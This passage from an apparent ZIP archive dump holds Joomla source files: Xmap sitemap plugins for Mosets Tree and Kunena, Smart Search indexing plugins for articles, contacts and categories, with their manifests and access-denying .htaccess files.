H:i:s',($xmap->now - ($days*86400))) ."' "; } xmap_com_mtree::getMtreeCategory($xmap,$parent,$params,$catid); } /* Returns URLs of all Categories and links in of one category using recursion */ static function getMtreeCategory ($xmap, $parent, &$params, $catid ) { $database =& JFactory::getDbo(); $query = "SELECT cat_name, cat_id ". "FROM #__mt_cats WHERE cat_published='1' AND cat_approved='1' AND cat_parent = $catid " . "ORDER BY " . $params['cats_order']; $database->setQuery($query); $rows = $database->loadObjectList(); $xmap->changeLevel(1); foreach($rows as $row) { $node = new stdclass; $node->name = $row->cat_name; $node->link = 'index.php?option=com_mtree&task=listcats&cat_id='.$row->cat_id.'&Itemid='.$parent->id; $node->id = $parent->id; $node->uid = $parent->uid .'c'.$row->cat_id; $node->browserNav = $parent->browserNav; $node->modified = NULL; $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->expandible = true; $node->secure = $parent->secure; if ( $xmap->printNode($node) !== FALSE) { xmap_com_mtree::getMtreeCategory($xmap,$parent,$params,$row->cat_id); } } /* Returns URLs of all listings in the current category */ if ($params['include_links']) { $query = " SELECT a.link_name, a.link_id, a.link_created as created, a.link_modified as modified \n". " FROM #__mt_links AS a, #__mt_cl as b \n". " WHERE a.link_id = b.link_id \n". " AND b.cat_id = $catid " . " AND ( link_published='1' AND link_approved='1' ) " . $params['days'] . " ORDER BY " . $params['links_order'] . $params['limit']; $database->setQuery($query); $rows = $database->loadObjectList(); foreach($rows as $row) { if ( !$row->modified || ($row->modified == $database->getNullDate())) { $row->modified = $row->created; } $node = new stdclass; $node->name = $row->link_name; $node->link = 'index.php?option=com_mtree&task=viewlink&link_id='.$row->link_id.'&Itemid='.$parent->id; $node->id = $parent->id; $node->uid = $parent->uid.'l'.$row->link_id; $node->browserNav = $parent->browserNav; $node->modified = $row->modified; $node->priority = $params['link_priority']; $node->changefreq = $params['link_changefreq']; $node->expandible = false; $node->secure = $parent->secure; $xmap->printNode($node); } } $xmap->changeLevel(-1); } } PK]y>\)xmap/com_mtree/.htaccessnuW+A Order allow,deny Deny from all PK]y>\;O+nnxmap/com_mtree/com_mtree.xmlnuW+A Xmap - Mosets Tree Plugin Guillermo Vargas 07/20/2011 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.2 XMAP_MTREE_PLUGIN_DESCRIPTION com_mtree.php index.html en-GB.plg_xmap_com_mtree.ini es-ES.plg_xmap_com_mtree.ini fa-IR.plg_xmap_com_mtree.ini cs-CZ.plg_xmap_com_mtree.ini nl-NL.plg_xmap_com_mtree.ini ru-RU.plg_xmap_com_mtree.ini
PK]y>\)xmap/.htaccessnuW+A Order allow,deny Deny from all PK]y>\/Xxmap/com_kunena/com_kunena.xmlnuW+A Xmap - Kunena Plugin Guillermo Vargas September 2007 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.3 Xmap Plugin for Kunena component com_kunena.php en-GB.plg_xmap_com_kunena.ini es-ES.plg_xmap_com_kunena.ini fa-IR.plg_xmap_com_kunena.ini cs-CZ.plg_xmap_com_kunena.ini nl-NL.plg_xmap_com_kunena.ini ru-RU.plg_xmap_com_kunena.ini
PK]y>\//xmap/com_kunena/com_kunena.phpnuW+Alink); parse_str(html_entity_decode($link_query['query']), $link_vars); $catid = intval(JArrayHelper::getValue($link_vars, 'catid', 0)); $id = intval(JArrayHelper::getValue($link_vars, 'id', 0)); $func = JArrayHelper::getValue($link_vars, 'func', '', ''); if ($func = 'showcat' && $catid) { $node->uid = 'com_kunenac' . $catid; $node->expandible = false; } elseif ($func = 'view' && $id) { $node->uid = 'com_kunenaf' . $id; $node->expandible = false; } } function getTree($xmap, $parent, &$params) { if ($xmap->isNews) // This component does not provide news content. don't waste time/resources return false; // Make sure that we can load the kunena api if (!xmap_com_kunena::loadKunenaApi()) { return false; } if (!self::$profile) { self::$config = KunenaFactory::getConfig ();; self::$profile = KunenaFactory::getUser (); } $user = JFactory::getUser(); $catid = 0; $link_query = parse_url($parent->link); if (!isset($link_query['query'])) { return; } parse_str(html_entity_decode($link_query['query']), $link_vars); $view = JArrayHelper::getValue($link_vars, 'view', ''); switch ($view){ case 'showcat': case 'category': $link_query = parse_url($parent->link); parse_str(html_entity_decode($link_query['query']), $link_vars); $catid = JArrayHelper::getValue($link_vars, 'catid', 0); break; case 'listcat': case 'entrypage': $catid = 0; break; default: return true; // Do not expand links to posts } $include_topics = JArrayHelper::getValue($params, 'include_topics', 1); $include_topics = ( $include_topics == 1 || ( $include_topics == 2 && $xmap->view == 'xml') || ( $include_topics == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['include_topics'] = $include_topics; $priority = JArrayHelper::getValue($params, 'cat_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'cat_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; $params['groups'] = implode(',', $user->authorisedLevels()); $priority = JArrayHelper::getValue($params, 'topic_priority', $parent->priority); $changefreq = JArrayHelper::getValue($params, 'topic_changefreq', $parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['topic_priority'] = $priority; $params['topic_changefreq'] = $changefreq; if ($include_topics) { $ordering = JArrayHelper::getValue($params, 'topics_order', 'ordering'); if ( !in_array($ordering,array('id', 'ordering','time','subject','hits')) ) $ordering = 'ordering'; $params['topics_order'] = 't.`'.$ordering.'`'; $params['include_pagination'] = ($xmap->view == 'xml'); $params['limit'] = ''; $params['days'] = ''; $limit = JArrayHelper::getValue($params, 'max_topics', ''); if (intval($limit)) $params['limit'] = ' LIMIT ' . $limit; $days = JArrayHelper::getValue($params, 'max_age', ''); $params['days'] = false; if (intval($days)) $params['days'] = ($xmap->now - (intval($days) * 86400)); } $params['table_prefix'] = xmap_com_kunena::getTablePrefix(); xmap_com_kunena::getCategoryTree($xmap, $parent, $params, $catid); } /* * Builds the Kunena's tree */ function getCategoryTree($xmap, $parent, &$params, $parentCat) { $db = JFactory::getDBO(); // Load categories if (self::getKunenaMajorVersion() >= '2.0') { // Kunena 2.0+ $catlink = 'index.php?option=com_kunena&view=category&catid=%s&Itemid='.$parent->id; $toplink = 'index.php?option=com_kunena&view=topic&catid=%s&id=%s&Itemid='.$parent->id; kimport('kunena.forum.category.helper'); $categories = KunenaForumCategoryHelper::getChildren($parentCat); } else { $catlink = 'index.php?option=com_kunena&func=showcat&catid=%s&Itemid='.$parent->id; $toplink = 'index.php?option=com_kunena&func=view&catid=%s&id=%s&Itemid='.$parent->id; if (self::getKunenaMajorVersion() >= '1.6') { // Kunena 1.6+ kimport('session'); $session = KunenaFactory::getSession(); $session->updateAllowedForums(); $allowed = $session->allowed; $query = "SELECT id, name FROM `#__kunena_categories` WHERE parent={$parentCat} AND id IN ({$allowed}) ORDER BY ordering"; } else { // Kunena 1.0+ $query = "SELECT id, name FROM `{$params['table_prefix']}_categories` WHERE parent={$parentCat} AND published=1 AND pub_access=0 ORDER BY ordering"; } $db->setQuery($query); $categories = $db->loadObjectList(); } /* get list of categories */ $xmap->changeLevel(1); foreach ($categories as $cat) { $node = new stdclass; $node->id = $parent->id; $node->browserNav = $parent->browserNav; $node->uid = 'com_kunenac' . $cat->id; $node->name = $cat->name; $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->link = sprintf($catlink, $cat->id); $node->expandible = true; $node->secure = $parent->secure; if ($xmap->printNode($node) !== FALSE) { xmap_com_kunena::getCategoryTree($xmap, $parent, $params, $cat->id); } } if ($params['include_topics']) { if (self::getKunenaMajorVersion() >= '2.0') { // Kunena 2.0+ kimport('kunena.forum.topic.helper'); // TODO: orderby parameter is missing: $topics = KunenaForumTopicHelper::getLatestTopics($parentCat, 0, $params['limit'], array('starttime', $params['days'])); if (count($topics)==2 && is_numeric($topics[0])){ $topics = $topics[1]; } } else { $access = KunenaFactory::getAccessControl(); $hold = $access->getAllowedHold(self::$profile, $parentCat); // Kunena 1.0+ $query = "SELECT t.id, t.catid, t.subject, max(m.time) as time, count(m.id) as msgcount FROM {$params['table_prefix']}_messages t INNER JOIN {$params['table_prefix']}_messages AS m ON t.id = m.thread WHERE t.catid=$parentCat AND t.parent=0 AND t.hold in ({$hold}) GROUP BY m.`thread` ORDER BY {$params['topics_order']} DESC"; if ($params['days']) { $query = "SELECT * FROM ($query) as topics WHERE time >= {$params['days']}"; } #echo str_replace('#__','mgbj2_',$query); $db->setQuery($query, 0, $params['limit']); $topics = $db->loadObjectList(); } //get list of topics foreach ($topics as $topic) { $node = new stdclass; $node->id = $parent->id; $node->browserNav = $parent->browserNav; $node->uid = 'com_kunenat' . $topic->id; $node->name = $topic->subject; $node->priority = $params['topic_priority']; $node->changefreq = $params['topic_changefreq']; $node->modified = intval(@$topic->last_post_time? $topic->last_post_time : $topic->time); $node->link = sprintf($toplink, (@$topic->category_id? $topic->category_id : $topic->catid), $topic->id); $node->expandible = false; $node->secure = $parent->secure; if ($xmap->printNode($node) !== FALSE) { // Pagination will not work with K2.0, revisit this when that version is out and stable if ($params['include_pagination'] && isset($topic->msgcount) && $topic->msgcount > self::$config->messages_per_page ){ $msgPerPage = self::$config->messages_per_page; $threadPages = ceil ( $topic->msgcount / $msgPerPage ); for ($i=2;$i<=$threadPages;$i++) { $subnode = new stdclass; $subnode->id = $node->id; $subnode->uid = $node->uid.'p'.$i; $subnode->name = "[$i]"; $subnode->seq = $i; $subnode->link = $node->link.'&limit='.$msgPerPage.'&limitstart='.(($i-1)*$msgPerPage); $subnode->browserNav = $node->browserNav; $subnode->priority = $node->priority; $subnode->changefreq = $node->changefreq; $subnode->modified = $node->modified; $subnode->secure = $node->secure; $xmap->printNode($subnode); } } } } } $xmap->changeLevel(-1); } private static function loadKunenaApi() { if (!defined('KUNENA_LOADED')) { jimport ( 'joomla.application.component.helper' ); // Check if Kunena component is installed/enabled if (! JComponentHelper::isEnabled ( 'com_kunena', true )) { return false; } // Check if Kunena API exists $kunena_api = JPATH_ADMINISTRATOR . '/components/com_kunena/api.php'; if (! is_file ( $kunena_api )) return false; // Load Kunena API require_once ($kunena_api); } return true; } /** * Based on Matias' version (Thanks) * See: http://docs.kunena.org/index.php/Developing_Kunena_Router */ function getKunenaMajorVersion() { static $version; if (!$version) { if (class_exists('KunenaForum')) { $version = KunenaForum::versionMajor(); } elseif (class_exists('Kunena')) { $version = substr(Kunena::version(), 0, 3); } elseif (is_file(JPATH_ROOT.'/components/com_kunena/lib/kunena.defines.php')) { $version = '1.5'; } elseif (is_file(JPATH_ROOT.'/components/com_kunena/lib/kunena.version.php')) { $version = '1.0'; } } return $version; } function getTablePrefix() { $version = self::getKunenaMajorVersion(); if ($version <= 1.5) { return '#__fb'; } return '#__kunena'; } } PK]y>\)xmap/com_kunena/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)finder/content/.htaccessnuW+A Order allow,deny Deny from all PK]y>\h?++++finder/content/content.phpnuW+AloadLanguage(); } /** * Method to update the item link information when the item category is * changed. This is fired when the item category is published or unpublished * from the list view. * * @param string $extension The extension whose category has been updated. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderCategoryChangeState($extension, $pks, $value) { // Make sure we're handling com_content categories if ($extension == 'com_content') { $this->categoryStateChange($pks, $value); } } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param JTable $table A JTable object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterDelete($context, $table) { if ($context == 'com_content.article') { $id = $table->id; } elseif ($context == 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove the items. return $this->remove($id); } /** * Method to determine if the access level of an item changed. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content has just been created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew) { // We only want to handle articles here if ($context == 'com_content.article' || $context == 'com_content.form') { // Check if the access levels are different if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item $this->reindex($row->id); } // Check for access changes in the category if ($context == 'com_categories.category') { // Check if the access levels are different if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } return true; } /** * Method to reindex the link information for an item that has been saved. * This event is fired before the data is actually saved so we are going * to queue the item to be indexed later. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content is just about to be created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle articles here if ($context == 'com_content.article' || $context == 'com_content.form') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkItemAccess($row); } } // Check for access levels from the category if ($context == 'com_categories.category') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle articles here if ($context == 'com_content.article' || $context == 'com_content.form') { $this->itemStateChange($pks, $value); } // Handle when the plugin is disabled if ($context == 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a FinderIndexerResult object. * * @param FinderIndexerResult $item The item to index as an FinderIndexerResult object. * @param string $format The item format * * @return void * * @since 2.5 * @throws Exception on database error. */ protected function index(FinderIndexerResult $item, $format = 'html') { // Check if the extension is enabled if (JComponentHelper::isEnabled($this->extension) == false) { return; } // Initialize the item parameters. $registry = new JRegistry; $registry->loadString($item->params); $item->params = JComponentHelper::getParams('com_content', true); $item->params->merge($registry); $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry; // Trigger the onContentPrepare event. $item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params); $item->body = FinderIndexerHelper::prepareContent($item->body, $item->params); // Build the necessary route and path information. $item->url = $this->getURL($item->id, $this->extension, $this->layout); $item->route = ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language); $item->path = FinderIndexerHelper::getContentPath($item->route); // Get the menu title if it exists. $title = $this->getItemMenuTitle($item->url); // Adjust the title if necessary. if (!empty($title) && $this->params->get('use_menu_title', true)) { $item->title = $title; } // Add the meta-author. $item->metaauthor = $item->metadata->get('author'); // Add the meta-data processing instructions. $item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'author'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias'); // Translate the state. Articles should only be published if the category is published. $item->state = $this->translateState($item->state, $item->cat_state); // Add the type taxonomy data. $item->addTaxonomy('Type', 'Article'); // Add the author taxonomy data. if (!empty($item->author) || !empty($item->created_by_alias)) { $item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author); } // Add the category taxonomy data. $item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Get content extras. FinderIndexerHelper::getContentExtras($item); // Index the item. FinderIndexer::index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { // Load dependent classes. include_once JPATH_SITE . '/components/com_content/helpers/route.php'; return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object or null. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { $db = JFactory::getDbo(); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $db->getQuery(true); $sql->select('a.id, a.title, a.alias, a.introtext AS summary, a.fulltext AS body'); $sql->select('a.state, a.catid, a.created AS start_date, a.created_by'); $sql->select('a.created_by_alias, a.modified, a.modified_by, a.attribs AS params'); $sql->select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.version, a.ordering'); $sql->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date'); $sql->select('c.title AS category, c.published AS cat_state, c.access AS cat_access'); // Handle the alias CASE WHEN portion of the query $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $sql->charLength('a.alias'); $case_when_item_alias .= ' THEN '; $a_id = $sql->castAsChar('a.id'); $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id.' END as slug'; $sql->select($case_when_item_alias); $case_when_category_alias = ' CASE WHEN '; $case_when_category_alias .= $sql->charLength('c.alias'); $case_when_category_alias .= ' THEN '; $c_id = $sql->castAsChar('c.id'); $case_when_category_alias .= $sql->concatenate(array($c_id, 'c.alias'), ':'); $case_when_category_alias .= ' ELSE '; $case_when_category_alias .= $c_id.' END as catslug'; $sql->select($case_when_category_alias); $sql->select('u.name AS author'); $sql->from('#__content AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); $sql->join('LEFT', '#__users AS u ON u.id = a.created_by'); return $sql; } } PK]y>\(hfinder/content/content.xmlnuW+A plg_finder_content Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_FINDER_CONTENT_XML_DESCRIPTION script.php content.php index.html language/en-GB/en-GB.plg_finder_content.ini language/en-GB/en-GB.plg_finder_content.sys.ini PK]y>\6finder/content/index.htmlnuW+APK]y>\Vfinder/index.htmlnuW+A PK]y>\6finder/contacts/index.htmlnuW+APK]y>\)finder/contacts/.htaccessnuW+A Order allow,deny Deny from all PK]y>\]r^*1*1finder/contacts/contacts.phpnuW+AloadLanguage(); } /** * Method to update the item link information when the item category is * changed. This is fired when the item category is published or unpublished * from the list view. * * @param string $extension The extension whose category has been updated. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderCategoryChangeState($extension, $pks, $value) { // Make sure we're handling com_contact categories if ($extension == 'com_contact') { $this->categoryStateChange($pks, $value); } } /** * Method to remove the link information for items that have been deleted. * * This event will fire when contacts are deleted and when an indexed item is deleted. * * @param string $context The context of the action being performed. * @param JTable $table A JTable object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterDelete($context, $table) { if ($context == 'com_contact.contact') { $id = $table->id; } elseif ($context == 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove the items. return $this->remove($id); } /** * Method to determine if the access level of an item changed. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content has just been created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew) { // We only want to handle contacts here if ($context == 'com_contact.contact') { // Check if the access levels are different if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item $this->reindex($row->id); } // Check for access changes in the category if ($context == 'com_categories.category') { // Check if the access levels are different if (!$isNew && $this->old_cataccess != $row->access) { $this->categoryAccessChange($row); } } return true; } /** * Method to reindex the link information for an item that has been saved. * This event is fired before the data is actually saved so we are going * to queue the item to be indexed later. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content is just about to be created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle contacts here if ($context == 'com_contact.contact') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkItemAccess($row); } } // Check for access levels from the category if ($context == 'com_categories.category') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkCategoryAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle contacts here if ($context == 'com_contact.contact') { $this->itemStateChange($pks, $value); } // Handle when the plugin is disabled if ($context == 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a FinderIndexerResult object. * * @param FinderIndexerResult $item The item to index as an FinderIndexerResult object. * @param string $format The item format * * @return void * * @since 2.5 * @throws Exception on database error. */ protected function index(FinderIndexerResult $item, $format = 'html') { // Check if the extension is enabled if (JComponentHelper::isEnabled($this->extension) == false) { return; } // Initialize the item parameters. $registry = new JRegistry; $registry->loadString($item->params); $item->params = $registry; // Build the necessary route and path information. $item->url = $this->getURL($item->id, $this->extension, $this->layout); $item->route = ContactHelperRoute::getContactRoute($item->slug, $item->catslug); $item->path = FinderIndexerHelper::getContentPath($item->route); // Get the menu title if it exists. $title = $this->getItemMenuTitle($item->url); // Adjust the title if necessary. if (!empty($title) && $this->params->get('use_menu_title', true)) { $item->title = $title; } /* * Add the meta-data processing instructions based on the contact * configuration parameters. */ // Handle the contact position. if ($item->params->get('show_position', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'position'); } // Handle the contact street address. if ($item->params->get('show_street_address', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'address'); } // Handle the contact city. if ($item->params->get('show_suburb', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'city'); } // Handle the contact region. if ($item->params->get('show_state', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'region'); } // Handle the contact country. if ($item->params->get('show_country', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'country'); } // Handle the contact zip code. if ($item->params->get('show_postcode', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'zip'); } // Handle the contact telephone number. if ($item->params->get('show_telephone', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'telephone'); } // Handle the contact fax number. if ($item->params->get('show_fax', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'fax'); } // Handle the contact e-mail address. if ($item->params->get('show_email', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'email'); } // Handle the contact mobile number. if ($item->params->get('show_mobile', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'mobile'); } // Handle the contact webpage. if ($item->params->get('show_webpage', true)) { $item->addInstruction(FinderIndexer::META_CONTEXT, 'webpage'); } // Handle the contact user name. $item->addInstruction(FinderIndexer::META_CONTEXT, 'user'); // Add the type taxonomy data. $item->addTaxonomy('Type', 'Contact'); // Add the category taxonomy data. $item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access); // Add the language taxonomy data. $item->addTaxonomy('Language', $item->language); // Add the region taxonomy data. if (!empty($item->region) && $this->params->get('tax_add_region', true)) { $item->addTaxonomy('Region', $item->region); } // Add the country taxonomy data. if (!empty($item->country) && $this->params->get('tax_add_country', true)) { $item->addTaxonomy('Country', $item->country); } // Get content extras. FinderIndexerHelper::getContentExtras($item); // Index the item. FinderIndexer::index($item); } /** * Method to setup the indexer to be run. * * @return boolean True on success. * * @since 2.5 */ protected function setup() { // Load dependent classes. require_once JPATH_SITE . '/components/com_contact/helpers/route.php'; // This is a hack to get around the lack of a route helper. FinderIndexerHelper::getContentPath('index.php?option=com_contact'); return true; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object or null. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { $db = JFactory::getDbo(); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $db->getQuery(true); $sql->select('a.id, a.name AS title, a.alias, a.con_position AS position, a.address, a.created AS start_date'); $sql->select('a.created_by_alias, a.modified, a.modified_by'); $sql->select('a.metakey, a.metadesc, a.metadata, a.language'); $sql->select('a.sortname1, a.sortname2, a.sortname3'); $sql->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date'); $sql->select('a.suburb AS city, a.state AS region, a.country, a.postcode AS zip'); $sql->select('a.telephone, a.fax, a.misc AS summary, a.email_to AS email, a.mobile'); $sql->select('a.webpage, a.access, a.published AS state, a.ordering, a.params, a.catid'); $sql->select('c.title AS category, c.published AS cat_state, c.access AS cat_access'); // Handle the alias CASE WHEN portion of the query $case_when_item_alias = ' CASE WHEN '; $case_when_item_alias .= $sql->charLength('a.alias'); $case_when_item_alias .= ' THEN '; $a_id = $sql->castAsChar('a.id'); $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':'); $case_when_item_alias .= ' ELSE '; $case_when_item_alias .= $a_id.' END as slug'; $sql->select($case_when_item_alias); $case_when_category_alias = ' CASE WHEN '; $case_when_category_alias .= $sql->charLength('c.alias'); $case_when_category_alias .= ' THEN '; $c_id = $sql->castAsChar('c.id'); $case_when_category_alias .= $sql->concatenate(array($c_id, 'c.alias'), ':'); $case_when_category_alias .= ' ELSE '; $case_when_category_alias .= $c_id.' END as catslug'; $sql->select($case_when_category_alias); $sql->select('u.name AS user'); $sql->from('#__contact_details AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); $sql->join('LEFT', '#__users AS u ON u.id = a.user_id'); return $sql; } } PK]y>\gcfinder/contacts/contacts.xmlnuW+A plg_finder_contacts Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_FINDER_CONTACTS_XML_DESCRIPTION script.php contacts.php index.html language/en-GB/en-GB.plg_finder_contacts.ini language/en-GB/en-GB.plg_finder_contacts.sys.ini PK]y>\)finder/.htaccessnuW+A Order allow,deny Deny from all PK]y>\ bl=*=* finder/categories/categories.phpnuW+AloadLanguage(); } /** * Method to remove the link information for items that have been deleted. * * @param string $context The context of the action being performed. * @param JTable $table A JTable object containing the record to be deleted * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderDelete($context, $table) { if ($context == 'com_categories.category') { $id = $table->id; } elseif ($context == 'com_finder.index') { $id = $table->link_id; } else { return true; } // Remove the items. return $this->remove($id); } /** * Method to determine if the access level of an item changed. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content has just been created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderAfterSave($context, $row, $isNew) { // We only want to handle categories here if ($context == 'com_categories.category') { // Check if the access levels are different if (!$isNew && $this->old_access != $row->access) { // Process the change. $this->itemAccessChange($row); } // Reindex the item $this->reindex($row->id); } return true; } /** * Method to reindex the link information for an item that has been saved. * This event is fired before the data is actually saved so we are going * to queue the item to be indexed later. * * @param string $context The context of the content passed to the plugin. * @param JTable $row A JTable object * @param boolean $isNew If the content is just about to be created * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public function onFinderBeforeSave($context, $row, $isNew) { // We only want to handle categories here if ($context == 'com_categories.category') { // Query the database for the old access level if the item isn't new if (!$isNew) { $this->checkItemAccess($row); } } return true; } /** * Method to update the link information for items that have been changed * from outside the edit screen. This is fired when the item is published, * unpublished, archived, or unarchived from the list view. * * @param string $context The context for the content passed to the plugin. * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ public function onFinderChangeState($context, $pks, $value) { // We only want to handle categories here if ($context == 'com_categories.category') { // The category published state is tied to the parent category // published state so we need to look up all published states // before we change anything. foreach ($pks as $pk) { $sql = clone($this->getStateQuery()); $sql->where('a.id = ' . (int) $pk); // Get the published states. $this->db->setQuery($sql); $item = $this->db->loadObject(); // Translate the state. $temp = $this->translateState($value); // Update the item. $this->change($pk, 'state', $temp); // Reindex the item $this->reindex($pk); } } // Handle when the plugin is disabled if ($context == 'com_plugins.plugin' && $value === 0) { $this->pluginDisable($pks); } } /** * Method to index an item. The item must be a FinderIndexerResult object. * * @param FinderIndexerResult $item The item to index as an FinderIndexerResult object. * @param string $format The item format * * @return void * * @since 2.5 * @throws Exception on database error. */ protected function index(FinderIndexerResult $item, $format = 'html') { // Check if the extension is enabled if (JComponentHelper::isEnabled($this->extension) == false) { return; } // Need to import component route helpers dynamically, hence the reason it's handled here if (JFile::exists(JPATH_SITE . '/components/' . $item->extension . '/helpers/route.php')) { include_once JPATH_SITE . '/components/' . $item->extension . '/helpers/route.php'; } $extension = ucfirst(substr($item->extension, 4)); // Initialize the item parameters. $registry = new JRegistry; $registry->loadString($item->params); $item->params = $registry; $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry; /* Add the meta-data processing instructions based on the categories * configuration parameters. */ // Add the meta-author. $item->metaauthor = $item->metadata->get('author'); // Handle the link to the meta-data. $item->addInstruction(FinderIndexer::META_CONTEXT, 'link'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor'); $item->addInstruction(FinderIndexer::META_CONTEXT, 'author'); //$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias'); // Trigger the onContentPrepare event. $item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params); // Build the necessary route and path information. $item->url = $this->getURL($item->id, $item->extension, 